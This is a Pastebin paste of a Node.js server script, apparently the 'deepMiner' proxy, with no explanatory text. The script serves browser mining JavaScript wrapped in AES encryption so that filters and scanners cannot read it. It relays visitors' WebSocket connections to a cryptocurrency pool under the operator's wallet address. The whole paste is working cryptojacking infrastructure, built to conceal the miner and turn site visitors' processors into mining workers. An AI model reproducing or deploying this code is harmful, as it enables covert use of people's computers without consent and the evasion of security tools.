Advertisement
Guest User

Untitled

a guest
Jan 21st, 2018
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.34 KB | None | 0 0
  1.  
  2. var http = require('http'),
  3. https = require('https'),
  4. WebSocket = require("ws"),
  5. net = require('net'),
  6. fs = require('fs'),
  7. crypto = require("crypto"),
  8. CryptoJS = require(__dirname + '/crypto-js-3.1.9');
  9.  
  10. var conf = JSON.parse(fs.readFileSync(__dirname + '/config.json', 'utf8'));
  11.  
  12. //ssl support
  13. const ssl = !!(conf.key && conf.cert);
  14.  
  15. //heroku global config
  16. conf.lport = process.env.PORT || conf.lport;
  17. conf.domain = process.env.DOMAIN || conf.domain;
  18. conf.pool = process.env.POOL || conf.pool;
  19. conf.addr = process.env.ADDR || conf.addr;
  20.  
  21. // crypto for AES
  22. function rand(n) {
  23. var chars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
  24. var res = "";
  25. for (var i = 0; i < n; i++) {
  26. var id = Math.ceil(Math.random() * 35);
  27. res += chars[id];
  28. }
  29. return res;
  30. }
  31.  
  32. function enAES(key, str) {
  33. var encrypt = CryptoJS.AES.encrypt(str, CryptoJS.enc.Utf8.parse(key), {
  34. mode: CryptoJS.mode.ECB,
  35. padding: CryptoJS.pad.Pkcs7
  36. });
  37. return encrypt.toString();
  38. }
  39.  
  40. function deAES(key, str) {
  41. var decrypt = CryptoJS.AES.decrypt(str, CryptoJS.enc.Utf8.parse(key), {
  42. mode: CryptoJS.mode.ECB,
  43. padding: CryptoJS.pad.Pkcs7
  44. });
  45. return decrypt.toString(CryptoJS.enc.Utf8);
  46. }
  47.  
  48. const stats = (req, res) => {
  49. res.setHeader('Access-Control-Allow-Origin', '*');
  50. req.url = (req.url === '/') ? '/index.html' : req.url;
  51. fs.readFile(__dirname + '/web' + req.url, (err, buf) => {
  52. if (err) {
  53. res.writeHead(301, {
  54. 'Location': 'https://' + conf.domain
  55. });
  56. res.end();
  57. } else {
  58. if (!req.url.match(/\.wasm$/) && !req.url.match(/\.mem$/)) {
  59. buf = buf.toString().replace(/%deepMiner_domain%/g, conf.domain);
  60. if (req.url.match(/\.js$/)) {
  61. var randKey = rand(32);
  62. tmp = fs.readFileSync(__dirname + '/tmpl.aes.min.js', 'utf8');
  63. tmp = tmp.replace(/%aes_file%/g, enAES(randKey, buf));
  64. tmp = tmp.replace(/%aes_key%/g, randKey);
  65. buf = fs.readFileSync(__dirname + '/crypto-js-3.1.9.min.js', 'utf8');
  66. buf += tmp;
  67. res.setHeader('content-type', 'application/javascript');
  68. }
  69. } else {
  70. res.setHeader('Content-Type', 'application/octet-stream');
  71. }
  72. res.end(buf);
  73. }
  74. });
  75. }
  76.  
  77. //ssl support
  78. if (ssl) {
  79. var web = https.createServer({
  80. key: fs.readFileSync(conf.key),
  81. cert: fs.readFileSync(conf.cert)
  82. }, stats)
  83. } else {
  84. var web = http.createServer(stats);
  85. }
  86.  
  87. // Miner Proxy Srv
  88. var srv = new WebSocket.Server({
  89. server: web,
  90. path: "/api",
  91. maxPayload: 256
  92. });
  93. srv.on('connection', (ws) => {
  94. var conn = {
  95. uid: null,
  96. pid: crypto.randomBytes(12).toString("hex"),
  97. workerId: null,
  98. found: 0,
  99. accepted: 0,
  100. ws: ws,
  101. pl: new net.Socket(),
  102. }
  103. var pool = conf.pool.split(':');
  104. conn.pl.connect(pool[1], pool[0]);
  105.  
  106. // Trans WebSocket to PoolSocket
  107. function ws2pool(data) {
  108. var buf;
  109. data = JSON.parse(data);
  110. switch (data.type) {
  111. case 'auth':
  112. {
  113. conn.uid = data.params.site_key;
  114. if (data.params.user) {
  115. conn.uid += '@' + data.params.user;
  116. }
  117. buf = {
  118. "method": "login",
  119. "params": {
  120. "login": conf.addr,
  121. "pass": conf.pass,
  122. "agent": "deepMiner"
  123. },
  124. "id": conn.pid
  125. }
  126. buf = JSON.stringify(buf) + '\n';
  127. conn.pl.write(buf);
  128. break;
  129. }
  130. case 'submit':
  131. {
  132. conn.found++;
  133. buf = {
  134. "method": "submit",
  135. "params": {
  136. "id": conn.workerId,
  137. "job_id": data.params.job_id,
  138. "nonce": data.params.nonce,
  139. "result": data.params.result
  140. },
  141. "id": conn.pid
  142. }
  143. buf = JSON.stringify(buf) + '\n';
  144. conn.pl.write(buf);
  145. break;
  146. }
  147. }
  148. }
  149.  
  150. // Trans PoolSocket to WebSocket
  151. function pool2ws(data) {
  152. try {
  153. var buf;
  154. data = JSON.parse(data);
  155. if (data.id === conn.pid && data.result) {
  156. if (data.result.id) {
  157. conn.workerId = data.result.id;
  158. buf = {
  159. "type": "authed",
  160. "params": {
  161. "token": "",
  162. "hashes": conn.accepted
  163. }
  164. }
  165. buf = JSON.stringify(buf);
  166. conn.ws.send(buf);
  167. buf = {
  168. "type": "job",
  169. "params": data.result.job
  170. }
  171. buf = JSON.stringify(buf);
  172. conn.ws.send(buf);
  173. } else if (data.result.status === 'OK') {
  174. conn.accepted++;
  175. buf = {
  176. "type": "hash_accepted",
  177. "params": {
  178. "hashes": conn.accepted
  179. }
  180. }
  181. buf = JSON.stringify(buf);
  182. conn.ws.send(buf);
  183. }
  184. }
  185. if (data.id === conn.pid && data.error) {
  186. if (data.error.code === -1) {
  187. buf = {
  188. "type": "banned",
  189. "params": {
  190. "banned": conn.pid
  191. }
  192. }
  193. } else {
  194. buf = {
  195. "type": "error",
  196. "params": {
  197. "error": data.error.message
  198. }
  199. }
  200. }
  201. buf = JSON.stringify(buf);
  202. conn.ws.send(buf);
  203. }
  204. if (data.method === 'job') {
  205. buf = {
  206. "type": 'job',
  207. "params": data.params
  208. }
  209. buf = JSON.stringify(buf);
  210. conn.ws.send(buf);
  211. }
  212. } catch (error) {
  213. console.warn('[!] Error: ' + error.message)
  214. }
  215. }
  216. conn.ws.on('message', (data) => {
  217. ws2pool(data);
  218. console.log('[>] Request: ' + conn.uid + '\n\n' + data + '\n');
  219. });
  220. conn.ws.on('error', (data) => {
  221. console.log('[!] ' + conn.uid + ' WebSocket ' + data + '\n');
  222. conn.pl.destroy();
  223. });
  224. conn.ws.on('close', () => {
  225. console.log('[!] ' + conn.uid + ' offline.\n');
  226. conn.pl.destroy();
  227. });
  228. conn.pl.on('data', function (data) {
  229. var linesdata = data;
  230. var lines = String(linesdata).split("\n");
  231. if (lines[1].length > 0) {
  232. console.log('[<] Response: ' + conn.pid + '\n\n' + lines[0] + '\n');
  233. console.log('[<] Response: ' + conn.pid + '\n\n' + lines[1] + '\n')
  234. pool2ws(lines[0]);
  235. pool2ws(lines[1]);
  236. } else {
  237. console.log('[<] Response: ' + conn.pid + '\n\n' + data + '\n');
  238. pool2ws(data);
  239. }
  240. });
  241. conn.pl.on('error', (data) => {
  242. console.log('PoolSocket ' + data + '\n');
  243. if (conn.ws.readyState !== 3) {
  244. conn.ws.close();
  245. }
  246. });
  247. conn.pl.on('close', () => {
  248. console.log('PoolSocket Closed.\n');
  249. if (conn.ws.readyState !== 3) {
  250. conn.ws.close();
  251. }
  252. });
  253. });
  254. web.listen(conf.lport, conf.lhost);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement